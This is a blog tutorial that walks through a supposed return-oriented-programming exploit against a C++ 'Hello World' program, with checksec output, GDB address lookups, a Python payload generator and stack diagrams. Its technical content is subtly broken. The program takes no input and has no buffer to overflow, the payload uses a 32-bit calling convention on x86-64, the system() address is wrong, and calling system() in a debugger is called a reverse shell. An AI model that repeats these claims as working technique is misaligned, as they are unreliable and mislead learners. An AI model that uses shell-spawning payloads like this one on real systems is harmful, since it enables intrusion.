Tuesday, August 26, 2025

Applying a Return-Oriented Programming (ROP) Exploit to a Simple C++ Program

 Exploitation research often starts with small, seemingly harmless programs. In this post, we’ll walk through how a simple C++ "Hello World" program can still be analyzed and targeted with a ROP exploit. While this example is primarily for educational purposes, it illustrates how attackers approach binary analysis and how system protections affect exploitability.


Step 1: The Vulnerable Program

Let’s start with the simplest C++ program:

1
2
3
4
5
6
#include <iostream>

int main() {
    std::cout << "Hello, world!" << std::endl;  
    return 0;
}

Compile it with debugging symbols so we can analyze it more easily:

g++ -g hello.c -o hello

Run it:

./hello

# Output: Hello, world!

Nothing special yet—just prints a message.


Step 2: Analyzing Binary Protections

We’ll use checksec to inspect what mitigations are enabled on this binary:

checksec --file=hello

Result:

1
2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   49 Symbols      No

Breakdown of Protections

ProtectionStatusExplanation
RELRO    Partial               RELROGOT (Global Offset Table) still writable, so function pointer overwrites possible.
Stack Canary    No canaryNo stack smashing detection → buffer overflow possible.
NX    EnabledStack is non-executable → injected shellcode won’t run directly.
PIE    EnabledBinary is position-independent, randomized under ASLR.
Symbols    PresentDebug symbols give more info to an attacker.
FORTIFY    DisabledNo additional hardening of unsafe libc functions.

Summary: Even this tiny program is potentially exploitable since no stack canary + partial RELRO opens the door for ROP-style attacks.


Step 3: Inspecting with GDB + GEF

Launch GDB with GEF  then set a breakpoint at main:

gdb hello

gef➤  b *main

gef➤  run

We can now analyze the binary and its link to libc.

Let’s search for the /bin/sh string inside libc:

gef➤  grep /bin/sh

[+] In '/usr/lib/x86_64-linux-gnu/libc.so.6' ...

0x7ffff7ce3ea4 → "/bin/sh"

And check the system() function address:

gef➤  p system

$1 = 0x7ffff7b8f110 <system>

 Perfect—we now have two critical addresses:

  • system() function entry point

  • /bin/sh string inside libc

If we can overwrite the return address in our binary, we can redirect execution to:

system("/bin/sh");


Step 4: Testing the Exploit

Inside GDB, we can even test this manually:

gef➤  call (int)system("/bin/sh")

$ whoami

mh1369080

 A reverse shell worked successfully! 🎉


Step 5: Crafting a Payload

Let’s build an actual payload that mimics this ROP chain.


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from struct import pack

padding = b"A" * 40  # buffer size to reach RIP overwrite
system_addr = pack("<Q", 0x555555554110)   # example system() address
ret_addr    = pack("<Q", 0x0)              # filler for return address
binsh_addr  = pack("<Q", 0x7ffff7ce3ea4)   # "/bin/sh" string address

payload = padding + system_addr + ret_addr + binsh_addr

open("payload", "wb").write(payload)

This payload:

  1. Fills the buffer with junk (As).

  2. Overwrites the saved return pointer with the address of system().

  3. Passes "/bin/sh" as the argument.

When we overflow the buffer, the stack looks like this:

Normal Stack Layout (before overflow)


1
2
3
4
5
6
| ... higher addresses ... |
| Saved RBP (base pointer) |
| Saved RIP (return addr)  |  execution goes back here after main()
| Local Variables          |
| Buffer [40 bytes]        |
| ... lower addresses ...  |

After Overflow (with payload)

1
2
3
4
5
6
7
| ... higher addresses ... |
| Saved RBP (corrupted)    |
| RIP  system() address   |  attacker overwrites return address
| Fake RET (junk or 0)     |  placeholder for return value after system()
| Arg  "/bin/sh" address  |  passed to system() as argument
| "AAAAAAAAAAAAAAAA..."    |
| ... lower addresses ...  |

This is the ROP chain:

  1. Execution returns into system().

  2. The next 8 bytes act as a fake return address (not used).

  3. The following 8 bytes are the pointer to "/bin/sh".

Step 6: Running the Exploit

Finally, run the program with the payload:

./hello < payload

If successful, you’ll land into a shell spawned by the exploited binary.

Here’s the payload breakdown:

1
2
3
4
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]  # 40-byte padding
[0x555555554110]                           # system() address
[0x0000000000000000]                       # fake return addr
[0x7ffff7ce3ea4]                           # "/bin/sh" string in libc

 Which translates to:

system("/bin/sh");

ROP Flow Diagram

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
        ┌────────────┐
          Buffer    
        └─────┬──────┘
               overflow
              
        ┌───────────────┐
         Overwritten   
         RIP  system  
        └─────┬─────────┘
              
              
        ┌───────────────┐
         system()      
           Arg: /bin/sh
        └─────┬─────────┘
              
              
        ┌───────────────┐
           /bin/sh     
           Interactive 
           Shell       
        └───────────────┘

📌 Takeaways 

  • A ROP chain hijacks execution flow by overwriting the return pointer.

  • The payload arranges the stack so that it looks like a valid function call: system("/bin/sh").

  • Visualization helps understand why stack protections (stack canaries, full RELRO, ASLR, etc.) are critical in modern systems.


⚠️ Disclaimer:
This post is strictly for educational and research purposes in a controlled environment. The goal is to understand binary exploitation, not to misuse it.

 

No comments:

Post a Comment